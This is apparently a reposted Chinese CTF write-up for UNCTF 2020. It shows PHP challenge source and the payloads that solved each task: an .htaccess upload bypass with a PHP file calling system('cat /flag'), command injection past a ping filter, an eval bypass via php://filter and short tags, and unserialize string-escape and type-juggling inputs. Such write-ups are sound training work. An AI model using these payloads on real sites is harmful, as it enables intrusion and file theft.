unctf2020部分wp

misc

签到题
下载附件之后是一张图片,打开方式选择记事本,在最后一行会发现一行网址,浏览器访问它可以在评论区找到flag。

web

一、ezphp

<?php
show_source(__FILE__);
$username  = "admin";
$password  = "password";
include("flag.php");
$data = isset($_POST['data'])? $_POST['data']: "" ;
$data_unserialize = unserialize($data);
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
    
    
    echo $flag;
}else{
    
    
    echo "username or password error!";
} 

需要username和password反序列化,并且要post data
由此构造payload:

data=a:2:{s:8:"username";b:1;s:8:"password";b:1;} 

二、easy_upload
打开题目是一个上传界面
随便上传一个jpg格式的木马文件,出现报错,
上传一个.htaccess文件,添加解析,敏感字符采用换行拼接绕过
文件内容:

AddType application/x-httpd-p\
hp .ppt

burpsuit抓包,将类型改为image/jpeg绕过检测
再上传一个.ppt文件
内容:

GIF89a
<?=system('cat /flag');

go之后会发现upload/一串地址
访问上述地址加上文件名得到flag

三、un_onlinetool
打开是一个ping的界面,尝试了一些字符会出现异常字符的提示,用127.0.0.1|ls一下,列出当前目录文件,出现index.php,再127.0.0.1|ca\t<index.php
出现源码:

 <?php
            if (isset($_GET['url'])){
    
    
                $ip=$_GET['url'];
                if(preg_match("/(;|'| |>|]|&| |\\$|\\|rev|more|tailf|head|nl|tail|tac|cat|rm|cp|mv|\*|\{)/i", $ip)){
    
    
                    die("<strong><center>非法字符</center></strong>");
                }
                if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    
    
                    die("<strong><center>非法字符</center></strong>");
                }
                $a = shell_exec("ping -c 4 ".$ip);
                echo($a);

过滤了很多字符和命令
payload:

|`echo%09Y2F0IC9mbGFn%09|%09base64%09-d%09`

中间是将cat /flagbase64编码
得到flag

四、easy_ssrf

<?php
echo'<center><strong>welc0me to 2020UNCTF!!</strong></center>';
highlight_file(__FILE__);
$url = $_GET['url'];
if(preg_match('/unctf\.com/',$url)){
    
    
    if(!preg_match('/php|file|zip|bzip|zlib|base|data/i',$url)){
    
    
        $url=file_get_contents($url);
        echo($url);
    }else{
    
    
        echo('error!!');
    }
}else{
    
    
    echo("error");
}
?>

看了大佬的wp,这道题其实很简单,用一个穿越绕过就可以,之前也做过类似的题目,但是积累不够,一时之间没有想到这种方法,具体payload:
在这里插入图片描述
五、babyeval

<?php
    // flag在flag.php
    if(isset($_GET['a'])){
    
    
        if(preg_match('/\(.*\)/', $_GET['a']))
            die('hacker!!!');
        ob_start(function($data){
    
    
                 if (strpos($data, 'flag') !== false)
                 return 'ByeBye hacker';
                 return false;
                 });
        eval($_GET['a']);
    } else {
    
    
        highlight_file(__FILE__);
    }
    ?>

get一个a,并且a中不能有包含括号的函数,而且不可以直接输出flag

代码中涉及到的strpos函数:
在这里插入图片描述
关于命令执行可以用include传参绕过的方式
构造payload

?a=include"$_POST[b]"?>

b=php://filter/read=convert.base64-encode/resource=flag.php

基于题解可以试一下用短标签绕过

?a=?><?=`base64 flag.php`?>

同样得到base64编码后的flag.php

七、easyunserialize

<?php
error_reporting(0);
highlight_file(__FILE__);

class a
{
    
    
    public $uname;
    public $password;
    public function __construct($uname,$password)
    {
    
    
        $this->uname=$uname;
        $this->password=$password;
    }
    public function __wakeup()
    {
    
    
            if($this->password==='easy')
            {
    
    
                include('flag.php');
                echo $flag;    
            }
            else
            {
    
    
                echo 'wrong password';
            }
        }
    }

function filter($string){
    
    
    return str_replace('challenge','easychallenge',$string);
}

$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?> 

反序列化字符串逃逸
先是password===easy序列化后"s:8:"password";s:4:"easy";
封装构造一下
";s:8:"password";s:4:"easy"};这里是29个字符,根据后面需要用easy替换challenge,所以至少需要八个challenge,这样就是32个,后面再补三个字符就可以了。
payload:?1=challengechallengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";}abc

猜你喜欢

转载自blog.csdn.net/veinard_F/article/details/109686798